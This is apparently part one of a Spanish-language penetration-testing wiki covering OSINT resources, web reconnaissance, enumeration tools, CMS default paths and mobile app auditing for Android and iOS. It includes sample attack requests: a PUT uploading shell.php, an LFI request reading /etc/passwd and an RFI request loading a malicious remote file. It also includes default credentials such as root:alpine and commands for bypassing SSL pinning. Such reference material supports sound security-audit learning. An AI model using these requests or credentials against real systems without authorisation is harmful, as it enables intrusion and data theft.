> This is part 1 of 2 of the full documentation (pages 1–100 of 199). > The content is paginated: fetch every part to see all of it. > Next part: https://wiki.securiters.com/securiters-wiki/llms-full.txt/1 > Page index: https://wiki.securiters.com/securiters-wiki/llms.txt # Índice Hola! En este espacio vas a encontrar una recopilación dinámica de conceptos y herramientas de ciberseguridad, que nos ayudan a ejecutar auditorías, entender vulnerabilidades, y cómo explotarlas. En este espacio vas a encontrar una recopilación dinámica de conceptos y herramientas de ciberseguridad, que nos ayudan a ejecutar auditorías, entender vulnerabilidades, y cómo explotarlas. La vamos actualizando continuamente, por lo que aunque veas algunas secciones en construcción, las iremos completando y actualizando. ¿Hay algo que veas que podemos mejorar? ÚNETE a la Comunidad Securiters y cuéntanos :heart: ## Credits * [@martrudix](https://twitter.com/martrudix) * [@mikiminoru](https://twitter.com/mikiminoru) * [@elhackeretico](https://twitter.com/elhackeretico) * Comunidad Securiters :heart: # Conceptos Básicos ## Programación #### Recursos * [Aprende a programar desde 0](https://exercism.org/) * [Introducción Práctica a CodeQL](https://jorgectf.github.io/blog/post/practical-codeql-introduction/) ### Powershell ### Bash ![Comandos básicos de Linux](https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FNtGujKVz8o77bgVeUI08%2FFRBw1TIWYAAg27_.jpg?alt=media\&token=5a207694-43a1-49f6-9757-90a81146fc92) ### Python ## Bases de datos ## Redes # OSINT Esta sección engloba un conjunto de herramientas y enlaces Open Source ## Buscadores * [Google](https://google.com). Comandos de búsqueda avanzada Google: * " " (comillas): buscar frase exacta * and or not: operadores lógicos “y” o “no” * \+ y -: incluír y excluír. * Ej: jaguar -coches: busca la palabra “jaguar”, pero omite las webs con la palabra “coches” * \* (asterisco): comodín, cualquier palabra, pero una sóla palabra * . (punto): comodín, cualquier palabra, una o muchas * intitle o allintitle: la expresión buscada está en el título * inurl o allinurl: la expresión buscada está en la url * site: sólo busca resultados dentro de la web que va detrás de “site:” * filetype: sólo busca archivos de un tipo (doc, xls, txt…) * Link: sólo busca en páginas que tienen un link a una determinada web * inanchor: sólo busca en páginas que tienen en el texto de enlace la expresión buscada * cache: muestra el resultado en la cache de Google de una pagina web * related: busca webs relacionadas con una determinada * [Bing](https://www.bing.com/) * [Yahoo](https://es.yahoo.com/) * [DuckDuckGo](https://duckduckgo.com/) * [Ask](https://www.ask.com/) * [Yandex](https://yandex.ru/) * [Goodsearch](https://www.goodshop.com/search) * ## Documentos * * ### Metadatos * Metagoofil - * Exiftool - * FOCA - * * * * * * * ## Vehiculos * * * * * * * * ## IoT * #### Aeropuertos * * #### Webcams * * * * * * ## TOR & Deep web * * * * * * ## Cryptocurrency * [github.com/mattconsto/blockchain-tracer](http://github.com/mattconsto/blockchain-tracer) * [blockchain.com](http://blockchain.com) * [bitcoinabuse.com](http://bitcoinabuse.com) * [bitref.com](http://bitref.com) * [bitcoinwhoswho.com](http://bitcoinwhoswho.com) * [blockchair.com](http://blockchair.com) * [walletexplorer.com](http://walletexplorer.com) ## Pastes * * * * * * * * * * * * * * * * * ## Suites de herramientas * Malfrat's OSINT Map: * IntelX: * Ciberpatrulla: * OSINT Framework: * Spiderfoot: * The Harvester: * Maltego: ## Lista de Recursos * Gestionar marcadores del navegador - * Selección de herramientas de OSINT - * [OSINT Handbook 2020](https://i-intelligence.eu/uploads/public-documents/OSINT_Handbook_2020.pdf) * Sección de [Grupos/Canales de Telegram de OSINT](/securiters-wiki/recursos-en-telegram#grupos-canales-de-osint-and-inteligencia) de esta Wiki. * * # Empresas * * * * * * * * * ### Empresas en España * * * [http://www.infocif.es/buscador/#/](< http://www.infocif.es/buscador/#/>) * * * * # Personas * * * * * * ### En UK * ### En USA * * * * * * * * * * ### En Canadá * ### En LATAM * Perú: ## Emails * * * * * * * * * ### Temporales * * * * ## Contraseñas & Leaks * * * * * * * [Brands and their default passwords](https://default-password.info/) * * * * * * * * * [https://www.dehashed.com/](https://www.dehashed.com/search?query=) * * * * * * ### Diccionarios de contraseñas * * * ## Teléfonos * * * * # SOCMINT ### Usernames * * * * * * [https://instantusername.com/](https://instantusername.com/#/) * * * * * ### Redes sociales * * * * * * * ### Twitter * * * * * * ### Facebook * ### Instagram * * * * ### Dating sites * * ### # URLs / IPs * * * * * * * * [Zoomeye](https://www.zoomeye.org/) * [Oshadan](https://www.oshadan.com/) * * * * [https://www.threatcrowd.org](https://www.threatcrowd.org/) ## IP tools * [whois.com](https://www.whois.com/whois/domaintools.com) * * * * * * * * * * * # Web Dentro de esta sección vas a encontrar tipos de pruebas diferenciados por funcionalidades y aspectos a tener en cuenta. ## Recursos y enlaces de referencia: * [OWAS Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) * [Academia Portswigger](https://portswigger.net/web-security) * [urlscan.io](https://urlscan.io/) * [Web Attack Cheat Sheet](https://github.com/riramar/Web-Attack-Cheat-Sheet) * ## Para practicar en Web * [Aplicación vulnerable GraphQL](https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application) * # 1. Recolección de información En esta primera fase de las auditorías puedes apoyarte de los recursos compartidos en la sección de [OSINT > URLs/IPs](/securiters-wiki/osint_general/urls-ips) para obtener información del target. ## 1. FOOTPRINT Recolección de información de la webs basándonos en fuentes públicas (publicado en internet) sin interacción directa con la aplicación web. Google Dorks * site:domain * allinurl:domain * inurl:domain * allintitle:domain * intitle:domain * intext:domain * "domain" * cache:domain * link:domain * filetype:\[.pdf|.txt.|.php|.html|.db|...] :warning:También hay que tener en cuenta que hay más navegadores (como Bing, Yahoo, Yandex, etc) con los que también se puede hacer dorking, y cada navegador tiene sus propias keywords. *** ## 2. FINGERPRINT Recolección de información a través de interacción directa con la aplicación web. {% hint style="info" %} Herramientas:\ [https://github.com/urbanadventurer/WhatWeb ]() [https://github.com/six2dez/reconftw ]() [https://github.com/projectdiscovery/nuclei ]() {% endhint %} ### **2.1. Mirar código fuente** Analizar el código fuente en busca de posibles credenciales, código comentado relevante, funciones y métodos que permitan conocen mejor el funcionamiento de la aplicación. ### **2.2. Set-Cookie** * secure -> fuerza el uso de HTTPS * httpOnly -> evita XSS * SameSite -> mejora la protección contra CSRF \[SameSite=Strict] ### **2.3. HTTP** **2.3.1. Cabeceras HTTP** Las Cabeceras HTTP son los parámetros que se envían en una petición o respuesta HTTP al cliente o al servidor para proporcionar información esencial sobre la transacción en curso. Dentro de estas cabeceras existen unas específicas que se consideran cabeceras de seguridad, ya que su configuración proporciona capas extra se seguridad a la aplicación. * HSTS, HTTP Strict Transport Security. Permite "decirle" a un navegador que siempre "quiere" que un usuario se conecte usando HTTPs en lugar de HTTP, de forma que evita ataques de MiTM. * X-Frame-Opitions. El servidor le indica al cliente que la página no puede ser cargada en un iframe. Protege a los clientes contra ataques de clickjacking. Opciones: * Same Origin: Desde el mismo dominio. * Deny: De ningún dominio. * Allow from: De determinado dominio. * X-Xss-Protection. Se usa para configurar la protección contra XSS Reflejados. Las configuraciones válidas para el encabezado son: * 0 -> deshabilita la protección * 1 -> habilita la protección * 1; mode=block -> indica al navegador que bloquee la respuesta si detecta un ataque. * Content-Security-Policy. Directivas: * script-src: Definir desde dónde los scripts se pueden ejecutar. * img-src: Definir desde dónde se pueden cargar imágenes. * media-scr: Definir desde dónde se pueden cargar videos/audio. * frame-src: Definir desde dónde se pueden incrustar iframes. * default-src: Definir la política de carga para todo tipo de recursos. * X-Content-Type-Options. Es usado cuando se permite que usuarios suban contenido a la aplicación. * MIME sniffing: Inspecciona el contenido para determinar el formato (text, video, etc). * X-Content-Type-Options:nosniff. Herramientas en local: * * Cabeceras de las peticiones (burp, herramientas de navegador) Herramientas online: * [https://securityheaders.io](https://securityheaders.com/) **2.3.2. Métodos HTTP** {% hint style="info" %} Recursos: {% endhint %} * GET -> Envío de información, la información se envía en la propia URL * POST -> Envío de información, la información se envía en el cuerpo de la petición (recomendada para enviar información sensible al servidor, por ejemplo peticiones de login) * OPTIONS -> Devuelve métodos HTTP aceptados por el servidor * PUT -> Permite enviar datos al servidor ``` PUT /test/shell.php HTTP 1.1 Host: ejemplodehost.meow ... ``` * TRACE -> Se usa para depurar mensajes con la función de eco para los mensajes HTTP, con el fin de comprobar que las peticiones realizadas son recibidas correctamente en el servidor. * CONNECT --> Permite crear un túnel HTTP a través de un servidor proxy. ``` CONNECT ejemplodehost.meow:443 HTTP/1.1 Host: ejemplodehost.meow:443 ``` DEBUG -> ``` DEBUG / HTTP 1.1 Host: ejemplodehost.meow ... Command: stop-debug ``` **2.3.3. HTTP Smuggling** Los recursos de PortSwigger lo explican genial: * * {% hint style="info" %} Herramientas:\ [https://github.com/defparam/smuggler ]() {% endhint %} #### 2.4. Metadatos * Filtrar el URI donde se encuentran ficheros - `$ grep -w "" | cut -d "" -f2 > output.txt` * Descargar ficheros de la web - `$ wget -i output.txt` * Analizar el contenido de ficheros - `$ exiftool -j /path/where/files/are/located` Herramientas Online * * * * * [shodan.io](https://shodan.io) * [censys.io](https://search.censys.io/) * [zoomeye.org](https://www.zoomeye.org/) * [fofa.info](https://fofa.info/) # 2. Enumeración y descubrimiento ## 1. DIRECTORIOS & FICHEROS * DIRB -X -> extensión ```bash dirb domain -X .html /path/to/wordlist ``` * GOBUSTER -s -> evita mostrar resultados con XXX tipo de error -r -> sigue la redirección -wildcard -> salta la verificación de certificado SSL {% code overflow="wrap" %} ```bash gobuster dir --url https://IP:port/ --wordlist /path/to/wordlist -s 301,302,304,400,401,403,404,500 -r --wildcard ``` {% endcode %} * [DIRSEARCH](https://github.com/maurosoria/dirsearch) * -e --> filtra por diferentes tipos de extensiones de ficheros * -F --> hace búsquedas recursivas ```bash python3 dirsearch/dirsearch.py -u https://domain -w /path/to/wordlist -e all -F ``` * WFUZZ * buscar directorios - `$ wfuzz -w /path/to/wordlist domain/FUZZ` * buscar ficheros - `$ wfuzz -w /path/to/wordlist domain/FUZZ.html` * [SUBFINDER](https://github.com/projectdiscovery/subfinder) ``` subfinder -v -d dominio ``` * Herramientas online * * ## 2. Usuarios Analizar: * Código fuente * Rutas por defecto donde se muestren usuarios de la plataforma * Los perfiles de los usuarios siguen un patrón? * webejemplo.com/in/nombredeusuario * webejemplo.com/user/nombredeusuario * webejemplo.com/IDdeusuario * etc * La web tiene publicaciones? Aparece algún autor? * Las funcionalidades de login y "contraseña olvidada" tienen enumeración de usuarios? * Los mensajes de respuesta son iguales si un usuario existe o no? ## 3. Metadatos * Descargar el código fuente de la web: ```bash wget -m URL ``` * Filtra las URIs donde se encuentran ubicados los ficheros: ```bash grep -w "" | cut -d "" -f2 > output.txt ``` * Descarga los ficheros de la web: ```bash wget -i output.txt ``` * Analiza con [exiftool](https://github.com/exiftool/exiftool) los ficheros: ``` exiftool /path/to/files/directory ``` # 3. Configuración del servidor ## 1. Servicios expuestos * NMAP ```bash nmap -sV -vv IP|dominio --script vulners ``` * [MASSCAN](https://github.com/robertdavidgraham/masscan) ```bash masscan IP|dominio -p numPuerto ``` * [Amass](https://github.com/OWASP/Amass) ```bash amass enum -d dominio ``` * NIKTO ``` nikto -h IP|dominio:puerto ``` ## 2. WAF Herramientas de detección: * * {% hint style="info" %} Recursos: * * {% endhint %} ## 3. TLS/SSL Evaluar conexiones SSL/TLS para asegurar que los cifrados son robustos. Se evalúan protocolos aceptados por el servidor, suites de cifrado, vulnerabilidades SSL conocidas que puedan afectar al servidor... Herramientas: * [SSLSCAN ](https://www.kali.org/tools/sslscan/) ``` sslcan IP|dominio ``` * [TESTSSL](https://github.com/drwetter/testssl.sh) ``` testssl IP|dominio ``` * [SSLYZE](https://github.com/nabla-c0d3/sslyze) ``` sslyze IP|dominio ``` * Online * * * {% hint style="info" %} Recursos: {% endhint %} # 4. Entrada de datos En esta sección podrás encontrar técnicas de explotación y vulnerabilidades que vienen de la entrada de datos Se tratan de vulnerabilidades derivadas de una validación incorrecta de los datos de entrada en el servidor. Para su explotación, es recomendable hacer uso de diccionarios de payloads, según el tipo que corresponda. ## 1. Cross-site Scripting (XSS) Es inyección de código JavaScript en valores de parámetros que son enviados al servidor. {% hint style="info" %} Recursos: [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet ]() {% endhint %} {% hint style="info" %} Herramienta: {% endhint %} ## 2. SQL Injection (SQLi) Inyección de código SQL en campos de entrada de texto. {% hint style="info" %} Herramientas: [https://github.com/sqlmapproject/sqlmap ]() {% endhint %} ## 3. HTTP Header Se trata de modificar el valor de las cabeceras para acceder a diferentes recursos o inyectar código ### 3.1. Host header Envenenando la caché se puede proporcionar acceso a recursos a través de rutas diferentes. #### 3.1.1. Open Redirect Permite la entrada sin validar para controlar la dirección URL donde se envían peticiones, por lo que puede ayudar a ataques de suplantación de identidad. Debemos fijarnos en la respuesta del servidor, de forma que sea de tipo 3XX y en la cabecera HTTP Location debe mostrar la URL previamente puesta en la cabecera Host.

Ejemplo de Open Redirect

### 3.2. User-Agent En este caso podemos inyectar código en la cabecera para que sea procesada por el servidor. {% hint style="info" %} Recursos: {% endhint %} Hay más tipos de inyecciones como: * LDAP * XPATH * CRLF # 5. Fuerza bruta Puede englobar los siguientes procesos: * Descubrimiento de recursos * Inyecciones de código * Obtención de credenciales válidas (fuerza bruta en formularios de autenticación) Con BurpSuite [Intruder de Burp Suite](https://wiki.securiters.com/securiters-wiki/web/pages/tHYltD0mKbMckasL4fZc#3.-intruder) Para evadir Basic/Digest Authentication: * * * ## 1. Captcha Analiza las respuestas del servidor si: * Eliminas el valor del parámetro. * Reusas el valor del parámetro (usa el [repeater](https://wiki.securiters.com/securiters-wiki/web/pages/tHYltD0mKbMckasL4fZc#2.-repeater) de [Burp](/securiters-wiki/_tools/burpsuite)). # 6. Autenticación y autorización ## 1. Sesiones Si la aplicación tiene parte privada (formulario de login), se debe revisar cómo gestiona a las sesiones de los usuarios. Comprobar: * ¿Cambia la cookie de sesión cuando inicio sesión? --> Session fixation * ¿La cookie se da de baja en el servidor cuando cierro sesión? * ¿Puedo hacer peticiones válidas al servidor con cookies que deberían estar invalidadas? * Atributos de la cookie de sesión: * HttpOnly * Secure * Samesite ### 1.1. CSRF (Cross-Site Request Forgery) Busca ejecutar funcionalidades de usuarios autenticados, de forma que: * Es necesario que la víctima esté autenticada en la aplicación vulnerable. * A través de ingeniería social, el atacante engaña a la víctima para que, por ejemplo, haga click en un enlace que ejecuta una petición en la aplicación, con su sesión (de la víctima). * El usuario no es consciente de la ejecución de la petición. * Se abusa de la confianza que la aplicación tiene en sus usuario. ### 1.2. SSRF (Server-side Request Forgery) El Server-side Request Forgery (SSRF) pretende realizar peticiones al servidor solicitando que recursos del backend ejecuten funciones maliciosas. {% hint style="info" %} Recursos: [https://lab.wallarm.com/blind-ssrf-exploitation/ ]() [https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/ ]() {% endhint %} ### 1.3. JWT (JSON Web Tokens) Es un estándar de autenticación para transmitir de forma segura la información formateada como un objeto JSON. :warning: Para identificarlos, podemos fijarnos en los primeros caracteres del string que empiezan por "ey". {% hint style="info" %} Recurso:\ {% endhint %} {% hint style="info" %} Herramientas: {% endhint %} ## 2. Roles En el caso de haber diferentes roles de usuarios, se debe revisar los permisos de cada uno en la aplicación y si se gestiona correctamente la autorización, de forma que cada usuario sólo tiene permiso a las acciones que necesita y no puede ejecutar otras acciones de otros roles: * Analizar los permisos (accesos y funcionalidades) de cada tipo de rol. * ¿puedo acceder a recursos (rutas/funcionalidades) de otro rol? ### 3. CORS {% hint style="info" %} Recursos:\ {% endhint %} # 7. LFI/RFI Estas vulnerabilidades afectan a la subida de ficheros en una aplicación web. ## 1. Local File Inclusion Acceso a ficheros dentro de un mismo servidor, ejecutando código en la aplicación para acceder a recursos del servidor. ``` GET dominio.meow/ejemplolfi.php?file=../../../etc/passwd HTTP/1.1 ``` ## 2. Remote File Inclusion Acceso a ficheros en servidores remotos. ``` GET dominio.meow/ejemplorfi.php?file=dominioRemoto/ficheroMalicioso HTTP/1.1 ``` Recursos: * * # CMS ## Herramientas para CMS [CMSmap](https://github.com/dionach/CMSmap) ``` cmsmap.py domain ``` ## WordPress ### 1. Directorios/rutas por defecto * /wp-admin/ * /wp-admin/install.php * /wp-admin/admin-ajax.php * /wp-includes/version.php * /wp-includes/cache.php * /wp-activate.php * /wp-update/ * /wp-cron.php * /wp-blog-header.php * /wp-links-opml.php * /wp-content/uploads/db-backup * /wp-content/debug.log * /wp-json/ * /wp-json/wp/v2/settings * /wp-json/wp/v2/users * /wp-login.php * /xmlrpc.php * /wp-cron.php * /readme.html * /license.txt * /author-sitemap.xml ### 2. Enumeración de usuarios * /?author\[]= * /?author=0 * /?author=1 * /blog/ * Fuerza bruta a través del domain/login y funcionalidad "contraseña olvidada" ### 3. WP Version * /readme.html * /license.txt * / source code -> * /wp-includes/version.php * /wp-admin/upgrade.php * /wp-links-opml.php * /feed/rdf/ * /feed/atom/ * /feed/ => source code && XML ### 4. Análisis * [WPScan](https://github.com/wpscanteam/wpscan) ```bash wpscan --disable-tls-checks --detection-mode aggressive --url domain --password-attack xmlrpc-multicall --plugins-detection passive --themes-detection passive --timthumbs-detection passive --db-exports-detection passive --users-detection passive --usernames username.txt --passwords /usr/share/wordlists/rockyou.txt ``` {% hint style="info" %} Recurso: [Explotación del fichero xmlrpc.php](https://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploit-them-d8d3c8600b32) {% endhint %} ## Drupal ### 1. Directorios/rutas por defecto * robots.txt * CHANGELOG.txt * cron.php * INSTALL.mysql.txt * INSTALL.pgsql.txt * INSTALL.txt * LICENSE.txt * MAINTAINERS.txt ### 2. Análisis ``` nmap --script=http-drupal-enum,http-drupal-enum-users ``` [Droopescan](https://github.com/droope/droopescan) ``` droopescan scan drupal -u dominio ``` Drupalggedon - [Vulnerabilidad de RCE](https://www.incibe-cert.es/alerta-temprana/vulnerabilidades/cve-2018-7600) {% hint style="info" %} Recurso: {% endhint %} ## Liferay ### 1. Directorios/rutas por defecto * /api/jsonws * /tunnel-web/secure/webdav/ * /data/document\_library * /web/guest/ * /web/guest/community/wiki/ * /web/guest/community/blogs/ * /\_vti\_bin/shtml.dll/\_vti\_rpc ### 2. Credenciales por defecto * 2:test * :test * :password * :bitnami ### 3. Portlets * /html/portlet/NOMBRE\_PORTLET/view\.jsp * /?p\_p\_id=ID\_PORTLET\&p\_p\_lifecycle=0\&p\_p\_state=maximized\&p\_p\_mode=view&\_3\_struts\_action=%2Fsearch%2Fsearch {% hint style="info" %} Recursos:\ \ {% endhint %} ## Joomla ### 1. Directorios/rutas por defecto ### 2. Análisis usuario por defecto - admin2:secret ## Magento ### 1. Directorios/rutas por defecto * Magento 1.9 and older: * app/etc/local.xml * Magento 2: * app/etc/env.php ### 2. Análisis usuario por defecto --> user:bitnami1 ## Moodle ### 1. Directorios/rutas por defecto * admin/ - code to administrate the whole server * auth/ - plugin modules to authenticate users * blocks/ - plugin modules for the little side blocks on many pages * calendar/ - all the code for managing and displaying calendars * course/ - code to display and manage courses * files/ - code to display and manage uploaded files * lang/ - texts in different languages, one directory per language * lib/ - libraries of core Moodle code * login/ - code to handle login and account creation * mod/ - all the main Moodle course modules are here * pix/ - generic site graphics * repository/ - code to handle the 2.x file handling system * theme/ - theme packs/skins to change the look of the site * user/ - code to display and manage users ### 2. Análisis * Comprobar versión -> [RCE en versiones inferiores a 3.5.0](https://blog.ripstech.com/2018/moodle-remote-code-execution/) ## PrestaShop ### 1. Directorios/rutas por defecto * /api/configurations * /admin * /store/admin * app/AppKernel.php * config/settings.inc.php * /config/autoload.php * config/settings.inc.php (in PrestaShop v1.6) * config/autoload.php (in PrestaShop v1.7) and check the value of *PS\_VERSION* ## Recursos * Payloads de directorios: # APIs ## :construction: UNDER CONSTRUCTION :construction: Herramientas * ### Recursos y enlaces de referencia * [Checklist API Security](https://github.com/shieldfy/API-Security-Checklist) * [API Security Checklist: Checklist of the most important security countermeasures when designing, testing, and releasing your API](https://github.com/shieldfy/API-Security-Checklist) # Móviles Esta sección está centrada en las auditorías móviles. La prepraración de los dispositivos para la auditoría y un conjunto de las pruebas a realizar, tanto Android como iOS. ### Para analizar cada entorno, hemos diferenciado: * [Android](/securiters-wiki/movil/android) * [iOS](/securiters-wiki/movil/ios) ### Listado de herramientas * [ADB](https://developer.android.com/studio/command-line/adb) * [ApkTool](https://github.com/iBotPeaches/Apktool) * [Androlab](https://github.com/sh4hin/Androl4b) * [MARA Framework](https://github.com/xtiankisutsa/MARA_Framework) * [scrcpy](https://github.com/Genymobile/scrcpy) * [Objection](https://github.com/sensepost/objection) * [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) * [QARK](https://github.com/linkedin/qark) * * [SSLUnpinning\_Xposed](https://github.com/ac-pm/SSLUnpinning_Xposed) * [Inspeckage](https://github.com/ac-pm/Inspeckage) * [Setup for iOS and Android Application Analysis](https://m2sup3rn0va.github.io/SiAAA/toolinstall.html) ### Recursos * # Android ## Rootear dispositivo * Recurso: * Android > 7: ## Extraer apk del dispositivo {% hint style="info" %} El dispositivo debe tener el *modo desarrollador* activado, y estar conectado al pc. {% endhint %} Usar el Package Manager (pm) en la shell de [abd ](/securiters-wiki/_tools/apps-moviles/adb)para listar los paquetes: ```bash adb shell pm list packages | sort ``` Para listar la ruta donde se encuentra el fichero .apk: ```bash adb shell pm path com.appName package:/data/app/com.appName/base.apk ``` Descargar el apk: ```bash adb pull data/app/com.appName/base.apk ``` ## Instalar apk en el dispositivo * Con [ADB ](/securiters-wiki/_tools/apps-moviles/adb)Listar los dispositivos conectados ```bash adb devices ``` Instalar la aplicación en el dispositivo ```bash adb install C:\path\to\appName.apk ``` ## Bypass SSLPinning * Deshabilitar en una app con [Objection](/securiters-wiki/_tools/apps-moviles/objection) ```bash com.appName on (Android) [usb] # apk sslpinning disable ``` * Deshabilitar en una app con [FRIDA](/securiters-wiki/_tools/analisisdinamicoios) ```bash frida --codeshare sowdust/universal-android-ssl-pinning-bypass-2 -U -f com.appNa ``` {% hint style="info" %} Herramienta: [Android-CertKiller](https://github.com/51j0/Android-CertKiller) permite automatizar este proceso ``` python main.py -p 'root/Desktop/base.apk' ``` {% endhint %} ## Configurar Burp Suite en el dispositivo Conectar el dispositivo a la misma red que el pc * Opcion alternativa con dispositivo físico: Activar la "zona con cobertura" (mobile hotspot) en el pc. * Teniendo en cuenta que el movil debe estar rooted 1. Wifi > redConectada > configurar proxy > manual > IP del pc + puerto de burp (8082) 2. Abrir el navegador y escribir > instalar Certificado * En caso de Android > v7 -> [Añadir certificado en la system store](https://gist.github.com/pwlin/8a0d01e6428b7a96e2eb) ## Recursos y enlaces de referencia de Android * [OWASP MSTG Official repo](https://github.com/OWASP/owasp-mstg) * [Mobile Security Testing Guide by OWASP (Android & iOS](https://mobile-security.gitbook.io/mobile-security-testing-guide/)) * [Guía OWASP iOS y Android](https://mobile-security.gitbook.io/mobile-security-testing-guide/) * [Android-Security-Reference](https://github.com/doridori/Android-Security-Reference) * [Android Security Awesome](https://github.com/ashishb/android-security-awesome) * [Introducción a ingeniería inversa de Android](https://www.ragingrock.com/AndroidAppRE/) * [Bypassing SSL Pinning on Android](https://levelup.gitconnected.com/bypassing-ssl-pinning-on-android-3c82f5c51d86) * [How to Bypass Certificate Pinning with Frida on an Android App](https://approov.io/blog/how-to-bypass-certificate-pinning-with-frida-on-an-android-app) ### Para practicar Android * [APK InsecureShop](https://github.com/optiv/InsecureShop) * [APK DIVA](https://github.com/payatu/diva-android‣) * [InjuredAndroid - CTF](https://github.com/B3nac/InjuredAndroid) * [OWASP UnCrackable Mobile Apps](https://github.com/OWASP/owasp-mstg/tree/master/Crackmes#android) * [AndroGoat](https://github.com/satishpatnayak/AndroGoat) # Analisis Estatico Android ## Herramientas Entre las herramientas más conocidas tenemos: * [MARA Framework](https://github.com/xtiankisutsa/MARA_Framework) * [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) * [Qark](https://github.com/linkedin/qark) {% hint style="info" %} #### IMPORTANTE! ES NECESARIO TENER EN CUENTA QUE CUALQUIER HERRAMIENTA AUTOMATICA PUEDE GENERAR FALSOS POSITIVOS, POR LO QUE SE DEBEN ANALIZAR LOS RESULTADOS OBTENIDOS MANUALMENTE PARA DESCARTARLOS. {% endhint %} ## Analizar ### Permisos de AndroidManifest.xml * Debuggable Este atributo permite depurar la aplicación. ```bash android:debuggable="true"|"false" ``` En el caso de no estar indicado el valor (es decir, si nos encontramos solamente `android:debuggable`), el apk NO es depurable. * AllowBackup ```bash android:allowBackup="true"|"false" ``` En el caso de estar como "true", permite realizar backups de los datos que contiene a través de ADB. ```bash adb backup -f app_backup.ab -apk [apkName.apk] ``` * WAKE\_LOCK ```bash ``` Permite que el dispositivo permanezca activo y evita que entre en estado de suspensión. * GET\_TASKS ```bash ``` Permite a la aplicación acceder a los procesos que se encuentran activos/corriendo en el dispositivo. * WRITE\_EXTERNAL\_STORAGE ```bash ``` Permite a la aplicación acceso de escritura al contenido de la tarjeta SD. ### Directorios y ficheros Para analizar el código fuente de la aplicación, podemos usar [JADX](https://github.com/skylot/jadx). {% hint style="info" %} En los WebView, debemos tener en cuenta\ \ `myWebView.settings.javaScriptEnabled = true`\ \ ya que puede facilitar la ejecución de XSS. {% endhint %} ### Almacenamiento y Base de datos Buscar palabras clave y llamadas a APIs usadas para almacenar información. Algunas de las clases y funciones son: * clase `SharedPreferences` ( almacena parejas de clave-valor) * clase `FileOutPutStream` (usa almacenamiento interno o externo) * funciones `getExternal*` (usa almacenamiento externo) * función`getWritableDatabase` (devuelve una bdd SQLiteDatabase con permisos de escritura) {% hint style="info" %} Buscar en el código fuente: ``` this.db = localUserSecretStore.getWritableDatabase("Password"); ``` {% endhint %} * función `getReadableDatabase` (devuelve una bdd SQLiteDatabase con permisos de lectura) * funciones `getCacheDir` y `getExternalCacheDirs` (usan ficheros cacheados) Ubicación común de claves/API keys/contraseñas: * res/values/strings.xml * build configs (local.properties o gradle.properties) * `/data/data//shared_prefs` * `/data/data//files/` #### Base de datos La ruta donde se almacenan las bdd de las aplicaciones es `/data/data//databases/` Copiar la base datos de la aplicación al entorno de pruebas con ```bash adb pull /data/data/AppName/.. /destination/path/for/the/file ``` y posteriormente abrir SQLite e importar la base de datos. # Analisis Dinamico Android Para analizar el comportamiento de la aplicación, es necesario * [configurar un proxy](/securiters-wiki/movil/android#configurar-burp-suite-en-el-dispositivo) para interceptar las comunicaciones con el servidor. * comprender que la arquitectura es similar a una aplicación web. * Analizar la información que guarda la aplicación en el dispositivo. # iOS ## Sobre iOS Algunos puntos importantes cuando conectas tu dispositivo al PC: * Al conectarlo, en el dispositivo te aparecerá un mensaje para confiar en el PC que has conectado, debes seleccionar "Confiar". * Para instalar aplicaciones que no están en la Apple Store debes aceptar ese "perfil de confianza". Para ello debes ir a Ajustes > General > VPN y gestión de dispositivos * El AppID de una aplicación se puede obtener a través de: \- Objection, con el comando: ``` com.appName on (iPhone) [usb] # env ``` \- SSH. Cuando has accedido y estás en la ruta /var/mobile/Containers/Data/Application/ ``` ls -l | grep -i "AppName" ``` * Las aplicaciones se guardan en la ruta: ``` /var/mobile/Containers/Data/Application/AppID/ ``` * La base de datos de las aplicaciones se guardan en la ruta: ``` /var/mobile/Containers/Data/Application/AppID/Documents/database.sqlite ``` ## Extraer ipa del dispositivo Acceder a través de SSH al dispositivos ```bash ssh root@192.168.X.X password: alpine ``` Listar las aplicaciones instaladas: ```bash iphone~root# ipainstaller -l ``` Hacer backup de la aplicación ```bash iphone~root# ipainstaller -b *com.appName* ``` * El fichero .ipa se guarda en la ruta /private/var/mobile/Documents/com.appName.ipa Enviar el fichero .ipa a nuestro equipo ```bash root@kali# scp root@192.168.X.X:/private/var/mobile/Documents/com.appName.ipa password: alpine ``` ## Instalar ipa en el dispositivo 1. Accedemos vía SSH al dispositivo jailbreakeado (a través de la IP y puerto 22), con credenciales root:alpine 2. Cambiamos la ruta destino a /private/var/mobile/Documents/ 3. Copiamos el fichero .ipa a la ruta destino 4. Abrimos una consola con ssh root\@IP, y escribimos ```jsx shh root@192.168.x.x *password alpine* ipainstaller -F app.ipa ``` ## Bypass SSLPinning * Deshabilitar en una app con [Objection](/securiters-wiki/_tools/apps-moviles/objection) ```bash com.appName on (iPhone) [usb] # ios sslpinning disable ``` * Deshabilitar en una app con [FRIDA](/securiters-wiki/_tools/analisisdinamicoios) ```bash frida -U -f com.appName -l ssl.js --no-pause ``` U --> Para usar un dispositivo conectado via USB como target F --> Para indicar el nombre del paquete L --> Para cargar el script ssl.js => (Descargar el script de codeshare según la versión de iOS) \--no-pause --> Para forzar que Frida no pare la ejecución de la aplicación tras inyectar el script {% hint style="info" %} Recurso: {% endhint %} ## Configurar Burp Suite en el dispositivo Conectar el dispositivo a la misma red que el pc: * Opcion alternativa con dispositivo físico: Activar la "zona con cobertura" (mobile hotspot) en el pc. * Con el movil jailbrokenWifi > redConectada > configurar proxy > manual > IP del pc + puerto de burp (8082) 1. Abrir el navegador del movil y escribir > instalar Certificado 2. Ajustes > General > Informacion > Ajustes de certificado de confianza > confiar en certificados raiz > activar portSwigger \[Settings > General > About > Certificate Trust Settings.] ## Recursos y enlaces de referencia de iOS * [iOS Hacking iOS - A Beginner's Guide to Hacking iOS Apps](https://martabyte.github.io/ios/hacking/2022/03/13/ios-hacking-en.html) * [Extracting the IPA File and Local Data Storage of an iOS Application](https://medium.com/@lucideus/extracting-the-ipa-file-and-local-data-storage-of-an-ios-application-be637745624d) * [Analyzing the IPA file of an iOS based application](https://medium.com/cybersecurityservices/analyzing-the-ipa-file-of-an-ios-based-application-9c0a1749fe69) * [iOS 